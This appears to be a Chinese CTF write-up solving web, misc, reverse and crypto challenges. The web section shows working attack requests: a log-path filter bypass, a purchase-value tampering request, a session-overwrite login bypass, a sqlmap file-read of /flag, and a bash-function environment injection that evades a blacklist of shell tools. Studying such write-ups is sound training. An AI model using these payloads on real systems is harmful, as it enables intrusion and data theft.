少女祈祷䞭...

Web

日志里的FLAG

1
2
3
4
5
6
7
GET /?path=/var/lologg/nginx/access.lologg HTTP/1.1
Host: vt.jnxl2023.sierting.com:31462
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

返回请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Nov 2023 07:15:16 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/7.4.33
Content-Length: 5916

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php
<br />&nbsp;&nbsp;&nbsp;&nbsp;highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;print(</span><span style="color: #DD0000">"FLAG就存圚于日志文件里哊"</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'path'</span><span style="color: #007700">]))&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$path&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'path'</span><span style="color: #007700">];
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/flag|\$|["\']/i'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$path</span><span style="color: #007700">))&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"错误"</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$path&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"log"</span><span style="color: #007700">,</span><span style="color: #DD0000">""</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$path</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">file_exists</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">))&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$path</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #0000BB">highlight_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$content</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">);
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"文件䞍存圚"</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"请提䟛文件路埄"</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;}
<br /></span>
</span>
</code>FLAG就存圚于日志文件里哊<code><span style="color: #000000">
flag{218d68ad69314eefba9bf508193fbbe9}<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:13:55&nbsp;+0000]&nbsp;"GET&nbsp;/&nbsp;HTTP/1.1"&nbsp;200&nbsp;3734&nbsp;"http://jnxl2023.sierting.com/"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:13:56&nbsp;+0000]&nbsp;"GET&nbsp;/favicon.ico&nbsp;HTTP/1.1"&nbsp;200&nbsp;3734&nbsp;"http://vt.jnxl2023.sierting.com:31462/"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:14:55&nbsp;+0000]&nbsp;"GET&nbsp;/?&nbsp;HTTP/1.1"&nbsp;200&nbsp;3734&nbsp;"-"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:14:55&nbsp;+0000]&nbsp;"GET&nbsp;/favicon.ico&nbsp;HTTP/1.1"&nbsp;200&nbsp;3734&nbsp;"http://vt.jnxl2023.sierting.com:31462/?"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:15:08&nbsp;+0000]&nbsp;"GET&nbsp;/?path=/var/lologg/nginx/access.lologg&nbsp;HTTP/1.1"&nbsp;200&nbsp;5189&nbsp;"-"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br />100.64.0.3&nbsp;-&nbsp;-&nbsp;[14/Nov/2023:07:15:08&nbsp;+0000]&nbsp;"GET&nbsp;/favicon.ico&nbsp;HTTP/1.1"&nbsp;200&nbsp;3734&nbsp;"http://vt.jnxl2023.sierting.com:31462/?path=/var/lologg/nginx/access.lologg"&nbsp;"Mozilla/5.0&nbsp;(Windows&nbsp;NT&nbsp;10.0;&nbsp;Win64;&nbsp;x64)&nbsp;AppleWebKit/537.36&nbsp;(KHTML,&nbsp;like&nbsp;Gecko)&nbsp;Chrome/119.0.0.0&nbsp;Safari/537.36"&nbsp;"-"<br /></span>
</code>
flag{218d68ad69314eefba9bf508193fbbe9}

莭买FLAG

1
2
3
4
5
6
7
8
9
10
11
12
13
curl --location 'http://vt.jnxl2023.sierting.com:32513/api/console_value.php' \
--header 'Accept: */*' \
--header 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6' \
--header 'Cache-Control: no-cache' \
--header 'Connection: keep-alive' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: username=U489131' \
--header 'Origin: http://vt.jnxl2023.sierting.com:32513' \
--header 'Pragma: no-cache' \
--header 'Referer: http://vt.jnxl2023.sierting.com:32513/shop.php' \
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0' \
--data-urlencode 'username=U489131' \
--data-urlencode 'value=100000000'

img

莭买flag

img

1
flag{9c7b5d02c16b40458e81ae57c664076f}

䞀只小蜜蜂

任意甚户登圕

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: vt.jnxl2023.sierting.com:31998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jib3igrmjs3455csfmpceh5fq6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Length: 0

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=12345678912345

http://vt.jnxl2023.sierting.com:31998/admin/admin.php

img

http://vt.jnxl2023.sierting.com:31998/admin/admin_catagory.php?action=child&channel_id=1&parent=1

img

sql读取/flag

sqlmap -u ‘http://vt.jnxl2023.sierting.com:31998/admin/admin_catagory.php?action=child&channel_id=1&parent=1’ --cookie=‘PHPSESSID=0iq3e4fekj42fss2hhnoqjpmo1’ -D qsnctf --file-read “/flag”

1
flag{27e81dee3a91e5e39bd633147fa39f1c}

Better_php

发送包

1
2
3
4
5
6
7
8
9
10
11
12
POST /adca4977cb42016071530fb8888105c7.php?query=select REPLACE(REPLACE('select REPLACE(REPLACE("B",0x22,0x27),0x42,"B");',0x22,0x27),0x42,'select REPLACE(REPLACE("B",0x22,0x27),0x42,"B");'); HTTP/1.1
Host: vt.jnxl2023.sierting.com:32234
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: textml,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

env[BASH_FUNC_echo()]=() { sed p /*1*; }

响应包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.0 500 Internal Server Error
Date: Tue, 14 Nov 2023 08:26:27 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 3261

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /><br />foreach&nbsp;(</span><span style="color: #0000BB">$_REQUEST</span><span style="color: #007700">[</span><span style="color: #DD0000">'env'</span><span style="color: #007700">]&nbsp;as&nbsp;</span><span style="color: #0000BB">$key&nbsp;</span><span style="color: #007700">=&gt;&nbsp;</span><span style="color: #0000BB">$value</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">blacklist</span><span style="color: #007700">(</span><span style="color: #0000BB">$value</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$a</span><span style="color: #007700">=</span><span style="color: #0000BB">putenv</span><span style="color: #007700">(</span><span style="color: #DD0000">"</span><span style="color: #007700">{</span><span style="color: #0000BB">$key</span><span style="color: #007700">}</span><span style="color: #DD0000">=</span><span style="color: #007700">{</span><span style="color: #0000BB">$value</span><span style="color: #007700">}</span><span style="color: #DD0000">"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Hack!!!"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />function&nbsp;</span><span style="color: #0000BB">blacklist</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">preg_match</span><span style="color: #007700">(</span><span style="color: #DD0000">'/ls|x|cat|tac|tail|nl|f|l|a|g|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\.|\'|\"|\\\\/is'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$a</span><span style="color: #007700">)&nbsp;===&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;else{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br />include&nbsp;</span><span style="color: #DD0000">"./index.php"</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?&gt;<br /></span>
</span>
</code>welcom to ctf!!!

<!-- /index.php.bak -->

flag{3af85c0ee5bef9ead47d74ae21913771}
flag{3af85c0ee5bef9ead47d74ae21913771}
CONST.php
adca4977cb42016071530fb8888105c7.php
conn.php
index.php
index.php.bak

img

1
flag{3af85c0ee5bef9ead47d74ae21913771}

Misc

时闎䞍倚了

1.附件䞋蜜䞋来后解压出来看到䞀堆二绎码可以尝试 批量扫描。

img

2.将扫描出来的base64解码埗䞀䞲敎圢字笊䞲。

img

3.圚解压出来的囟片䞭还有䞪日历囟片又看了看题目描述可以尝试根据日历画囟

​ 画出来后就䞀䞪䞲flag(这题倪抜象了)。

flag{DATESO}

Datas_secret

1.是䞀道磁盘分析题。

2.盎接䜿甚R-Studio 工具或者volatility工具郜可

3.这里是䜿甚R-studio工具 从桌面䞭就胜扟到flag文件

img

卑劣的手段

Reverse

BabyRe

img

img

1
flag{12246231b2e4b2544ff2f4ec36f343e9}

TEA

img

1
flag{tea_s0_ea3y!}

EasyRe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: utf-8 -*-
import time
from tqdm import tqdm
from qsnctf import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def aes_decrypt(ciphertext, key):
key_bytes = key.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_ECB)
decoded_bytes = base64.b64decode(ciphertext)
decrypted_bytes = unpad(cipher.decrypt(decoded_bytes), AES.block_size)
return decrypted_bytes.decode('utf-8')

ciphertext = "YC0ky5H1iE/1yvolTcavHPt8cla5DakNyXBlET1QXbnxQm3u7VVHlZjUc5XzVH6grI5HOoYPab0v\neu/TDaAPtg=="
key = "ThisIsASecretKey"

decrypted_text = aes_decrypt(ciphertext, key)
print(decrypted_text)

img

1
flag{644b1f007a595ec4923b0a7de6fc809a}

Crypto

EasyRSA

1
QhS9n7TkavmU8E4CFa872ZzqIq/NG/agtCkxQBzB0/E1PDZRv6otOYxBLsxwd/7h0fPkYYMCpPt4nXqYBGQ/n8/F3q3spV94+IFs7+CjyybUvAQg8MXLgSTzVt+ua0Ub0/et5/7Q1xAcgzT3/jWHwjklEAykdpSYMAqv5PQrhT4=

img

1
flag{c2915ff0a0ca8ffd50af20cd27682ff2}

BabyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import libnum
import gmpy2

c1= 295658788074157816670393593671184451782123605135184996662528766686642109492132533952160456440919197939935742027629210419312032730004032666912404179229952394343569590488768472800784830058534578639706805456277578757250365834591813481786084959844340418320620440636997732915872346619679993987903742079972676425404864295283955565746004124045155664762158516005326368384488346997494926539295740248007606864906884407198601326915643000764477435205579583836917598642053869541648731754384026407310786288997756775232852732033054591953078116290088267188296560877481534143707414153749140670404213262630122369941889862912426176115220410931992046973925991075473656781794097329513119548617920256625579072719981729556158392454956362838720993254919638177786730004086883044525967823454986241038123671907279715773848673713008902432841449556980494600938989397567019338970200872333713986608537678650318511128703055185979834233315117153115613952940778789222515375743186066883492596068186378372611075958909412662251913621375996518671118244409393829141365207153662416265238312206577474940661548038715230313608405518108581922154335405303862701783678336161505643508831482409054761542959278392940037561736468155509922530420964726953308604138731805543997557197893
c2= 219454357017359138238563345020257296433275019950745269658921329153689267055871241202626317639487122341365759606018366576305678949982408366815977617307888894995289951707241009621444691307275542686770303994110416384086739599181934011812163156338859395115724413628620575935425221522079154607411877822646179457455118804970038865452163833416447505142114976758532806787419762250921421272492466133659234602794242531776209324085944417173098820895755851386042954303555790085402616519592065446023510096773546730662074307900123349548340507067971393642039476326402523930789953483843698593104578179169624886357604650615249286150367204109726460230037005175927865466199600272190112483494387929732049738312695796015009178606906549093365261114132002222704510637261038978031857378729856467918978246977163353146981239215886053379980533235786905270211605457443266127512667882149285155542735532327780898540341696557860555884277608448996773250847560675650046440569736010800155992053362696097992699863059686881689842065077997427372972290872427656847223849769329713841670853267584161386494525686204330028142217737052411422895042170169703550774908415280261731967511925122636118468176645781785352430657090024109246103061415446942211482659025722233229083093876
n= 549785700554963543393222974982211136067042846536450239199968863551137077564447156832697813202963334596948298760762991663065504535035143397250208506445202607659676332816610122258862787906629525548439909792727593939957178783466989816894454522630301104349317697612174888605090061231211194974337772507249418567229560145454791075929946332668360553910328900103264562348881791004831033587660163923517440406942993348972589262051083908075790422096042338651001937740085414301019827335549437397656318095919875053213333008551761167437683250592542156348138055482054331330609375930693247365749085041596578748797801601289693449629548744535914348450016287545136436964138806081283470239420969311905998245715160353982174880912315601876305613349276824998688275587308133069178764001924866079232824850209407236694426779262951463035278887804883917516580169051530590466082511045503107508117656821592538792566264160105940730326929474477787053681516844548383814388361089499629312831727731267796167205124844987064389097138747938870221504684958713047985374714612321540288239995935347905120710583169131356970267386562665138437631517802641426575996558648777831102462652517305151412695166331935115971277205305816897886952646432233312318756155702046584205507027737
e1 = 3247473589
e2 = 3698409173
def exp_def(e1,e2,c1,c2,n):

s,s1,s2 = gmpy2.gcdext(e1, e2)

m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n

return int(m)\
m=exp_def(e1,e2,c1,c2,n)

print(libnum.n2s(m))

img

1
flag{baby_r3a_sierting_2023}

简单的Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
import time
from tqdm import tqdm
from qsnctf import *

flag = "👍👀🐧👮👛🐩👈👰👌👏👣👍👎🐟👯👎👍🐧👛🐫👍🐚👐👮👑🐻👉👎👄👍👣🐪👎👢👉👊👍🐧🐚👎👙🐻👅👏👘🐚👁👋👍👡🐞👯👍🐩👁🐌👋👣👟👟👄👌👧👌👍👀👧🐹👜🐜👐👰👊👢👍👌👙🐟👟👊👋👍👍👮👍👍👑👫👚🐌👁👣👉👣👣🐬👌🐩👫👎👍👎👁🐿👘🐟🐰👌👍👣👑🐪👍👣👑👘👚👍🐜👫👉👣 👉👅👙🐌👧👁👍👀🐚🐧👘🐚👛🐿👊👢👛👡👉👋👣👘👍👡👅👊👉🐚👧👍👎👀🐜👢👉🐧🐬🐟👌🐩🐚🐫👌🐩👁🐿👛👱🐜👎👍🐌👊👮👍👡🐜👘👎🐜👅👩👘🐟👟👊👜👀👯👎👍👀👧👆👋🐧🐧👯👚🐜👑👏👙👌👑👩👌👡🐞🐚👉🐚👧🐜👎👣👅👌👙🐜👧👍👍👀👫👮👍🐩👁👌👉👏👛👎👘👢👑👏👑🐌👑👆 👚🐚👛👪👘🐟👣👊👄👀👟👑👍🐚👛🐫👙🐩👀👰👍👥👅👍👙🐜👑👋👐👣👍👘👚👍👑👫👛🐟🐜👅👉👣👑🐧👑👌👑👆👍👎👁👍👚🐌👛👑👄🐜👑🐪 👍👡👁👂👍👍👁👐👑🐜👧👎👉👍👧👰👍👋🐹👘👋🐩👅👪👚🐌👟👡👉👣👁👋👍👣👟🐺👎👣👐👯👎👣👅👊👄👣🐜🐬👌👀👫👢👘👣👁👫👌👣👣👑👙🐜👑👟👐🐩👯👎👚🐚👍👩👑🐜👛👠👉👥🐹👑👎👣👍👘👋🐚👑👏👊👣👑👏👍🐌👧👎👐👢👑👂👊🐜👑👚👊👢👑👣👍👣👑👑👎👢👑👮👙🐟🐌👱👈👢👣👏👎🐿🐹🐿👍🐻👁👊👍🐚👑👬👌👀👟👊👘👱👍👱👎👎👯👊👙🐚👛🐟👎👥👉👅👊🐟👉👪👌👡🐹👪👅🐜👌👰👛🐟👫👏👉🐧👧👀👍👎👯👪👎👀👁🐟👎👀👟👑👄👍👧👟👑🐌👛👊👊🐜👁👩👅👍👅👠👉👀🐰🐪👍🐩👯👎👐👍👈👯👎👣👟👋👙🐜👧👐👍👢👍👮👍🐚👣👩👎👢👫👋👉👣👧👯👌👀🐚🐟 👌🐩👁👍👙🐻👑👏👘🐚👧👩👐👌👛🐜👜🐟👅🐿👆👍👛👟👘🐧👧👊👍👢👉👂👋🐩👉🐟👊👥👁👟👉🐩👟👋👐👏👧👎👜👣👛👏👜🐟🐰👠👄👎👉🐿👍🐩🐬👊👋👣👛🐿👌👣👑👌👍👣👧🐿👋👋🐜👊👍👀🐜🐿👆👎👟👠👉👏🐹🐭👎👋🐹👘👚🐚👛👫👊👢👛👏👙👎👟👘👋👎🐬👊👎🐜👢👯👎👢👛👎👍👢👧 👱👍🐟👪🐚👍🐧🐚👍👙👱🐜👎👙👏🐹👃👋👢👑👉👜🐜👛👪👘🐜👉👠👉👥🐹👯👍👎👯👢👌🐚👣👎👌👣👑👏👙👌👑👆👋👍👑👮👜🐜👌👰👛🐻🐹👎👄👍👧👰👐🐧👑👮👎🐟🐌👯👚🐿👁👑👍👎👉🐟👑👌👛👆👉🐩👁🐟👘🐟👟👅👍👥🐹👭👍👀👫👊👊🐚👉👫👍👢👛👡👉👎👯👍👐👣👛👊👍🐜👉👏 👅👎🐰👎👍👀👉👏👍👎👪🐬👌👢🐚👏👌👥👧👎👄👎👟👭👍🐧👛👂👎👍👍👩👆👍👑👟👘🐚👧👀👍🐟👯👘👐👍👛🐜👅👍👑👇👍🐩👟👧👌👣👟🐹👛🐚👑👪👑🐻👉👡👄👎👉🐧👌🐩👫👢👎🐟👁👏👘🐟🐜👌👍👱👍👭👍🐧👑👩👜🐜👛👩👛🐟👫👊👘🐪🐹🐭👍👣👛🐫👋🐩🐜👎👊👏👧👑👄🐩👟👏 👐👋🐜👮👘🐜👑👌👉👣👑👣👉👀👉🐚👌🐩👪🐚👎🐜👁👐👈👥👟👎👍🐪👟👩👋👢👛🐟👉🐚👑👐👑🐟👟👊👍👋👍👌👍👎🐚🐫👛🐩👍🐟👍👏👣👢 👉🐪👉👊👐👣👍👮👍🐚👑👫👚🐟🐜👏👙🐜👧👏👐🐧👛👊👎👣👑👏👌👢👛👘👍👎👉👇👌🐧👌🐬👍🐚👧🐿👘🐟👟👅👊🐌👁🐩👍👀🐚🐧👌🐚👄👯👌👏👣👍👘🐩👉👌👐👀👫👮👙🐚👍👚👊👀🐰👎👉👀👯👑👐🐧👑👢👙🐟👁🐿👌👣👣👘👍👎👄🐚👐👍👌👯👎🐜👍👩👘🐜👛👅👘👣👑👌👍👢👛🐫👋🐚👅🐿👉👢👛👉👙🐜👧👧👍👢👍👍👛🐚👑👫👚🐌👛👍👄👍👧🐧👌👀👫👊👌🐜👑👫👘🐜👉👌👍👎👟🐻👋👣👑👘👊🐟👍🐿👉👀👧👅👍🐚👀👮👍👋👁 🐧👘🐚👛🐿👊👣👟👟👉🐧👑👍👍👥👧👎👛👣👐👮👎👥👁👣👉👀👉👰👎👢👑👢👍🐩🐌👱👈👡👑👎👘🐩👉🐭👋👍👑👢👉🐚👅👪👎👀👧👊👍🐪👟👐👎👎👯👊👈🐚👉🐟👌👥👁👏👙🐌👧👪👌👀🐚👊👜👣👣👍👎👣👅👟👉👋🐜👱👌🐩🐬👊👍🐚👑🐭👉👋🐹👘👉🐌👑👩👌👡👁👂👊👍👉👫👘🐜👅👟👜👣👑👈👍👢👑👘👐👎👈👰👍👢👛👎👎🐟👯👩👌👢👍👂👎🐜👉👎👎👥👛👣👍👀👫🐪👍🐩🐬👢👎🐜👀👮👍👡👉👑👄🐜👁👇👍🐩🐚🐜👜👍👍👩👑 🐟🐜👎👄🐩👟👀👎👋👀👯👊🐚👀👯👚🐌👟👠👉👀👟👋👍👣👟🐺👊🐚👑👫👄👋🐹👍👄👌🐚🐫👍👣👟👊👎🐜👛🐿👘🐜👣👑👙👏👟👟👍👡🐜👪👚 🐚👧🐿👆👍👛👊👙👏👟👘👎👋🐹👘👘🐩👁🐿👊👢👟👍👙🐟👯👟👍👣👛👅👄👍👣👎👍👏👟👏👉👣👑👰👐👌👑👢👋👀🐜👪👎👣👍👎👘🐩👈🐧👍🐻 🐜👆👊🐜👁👩👑🐜👁👠👉👥🐹👮👍👀👫👎👍👀👈👯👎👥👉👡👉👎👉👎👋👍👑👮👄🐜👍👫👛🐟🐰👍👉👣👧🐧👐👌👑👊👍👍👑👏👘🐌👉👌👙🐜👧👟👌🐧👛👎👊🐜👁👫👚🐌🐬👎👄👌👣🐪👍👣👉👂👄🐟🐌👯👑🐌👟👋👙🐟👟👊👌👡🐹👘👍👣👑👬👚🐜👛👢👙🐜👣🐪👍🐩🐬👂👙🐜👁👫👌👥👣👏👘🐚👧👩👍👡👁🐜👜👣🐜👚👎👣👛👟👄👣👀🐩👍🐜👑👘👎👀👈👮👄👍👛👏👙👎👯👪👐👋🐜👮👎👍👛👏👜🐟🐰👉👄👍👁🐿👍👎🐬👂👎🐟👁🐜👚🐿 👅👍👙👋🐜👋👑👎👯👪👍👣👛👪👋👀👟👎👘🐪🐞👯👍👍👛🐫👛🐚👐👰👊👣👣👍👙🐟👟👟👌👢👍👘👐👍👧👍👑🐌👫👋👍👢🐬👱👐👌👛👊👋👢🐚👍👚🐜👛👎👙🐟👅🐫👋👢👛👉👜👍👑👩👑🐜👛👠👙🐌👧👇👍👀👯👢👌🐚👐👯👌👣👟👢👊🐟👉👏👋👍👛🐫👜👍👑👏👄👌👛👏👉👢👣🐪👍👀👧👊👎👢🐚🐿👘🐌👯👎👄👥👟👟👍🐧👑👎👚👣👧🐿👉👣👛👎👄👌👧👉👍👣👉🐺👍👢🐬👎👎👏👟👡👉👎👟👊👌👡👁👊👋🐚👌👮👍👢👫👅👙🐜👧 🐧👋👍👉🐺👍👢🐚👍👄👋👉👎👍👀👟👱👍👀🐚🐜👜👍👍👪👍👣👧👠👎🐜👀👱👎👎👧🐟👍🐩👅👎👋👥👉👇👍👀👉👋👐👣👟👊👐👍👛👌👈👀🐜👟👄👢👧👀👌🐩👫👊👍👀👁🐿👜🐟👟👎👙🐟👉👆👋👍👑👪👍🐚👑👐👘🐜👟👊👙🐜👧🐬👎👍👍👘👘🐚👉👫👉👥👅👏👙🐜👑👏👐👋👁👉👄🐜👣👌 👉👢🐰👊👄👍👧🐚👍🐟👯👊👘👍👁👪👚🐜👣👏👍🐪👉👭👌👋🐜👆👍🐚👛👩👑🐜👑👟👄👣👁👏👍🐜👑👘👛🐧🐚🐟👍👥👉👢👉👱👣👎👌👀👯👪👅👍👣👍👘🐌👅👎👙👌👧👀👐👌👍👊👍👎👁👐👘🐿👁👎👙🐜👧🐿👑🐌👑👂👛🐟👅🐜👅👍👛👅👍👎👮👱👍👀👯👊👊🐧🐚🐿👉👏👟👘👉👎👟👌👐👢👛 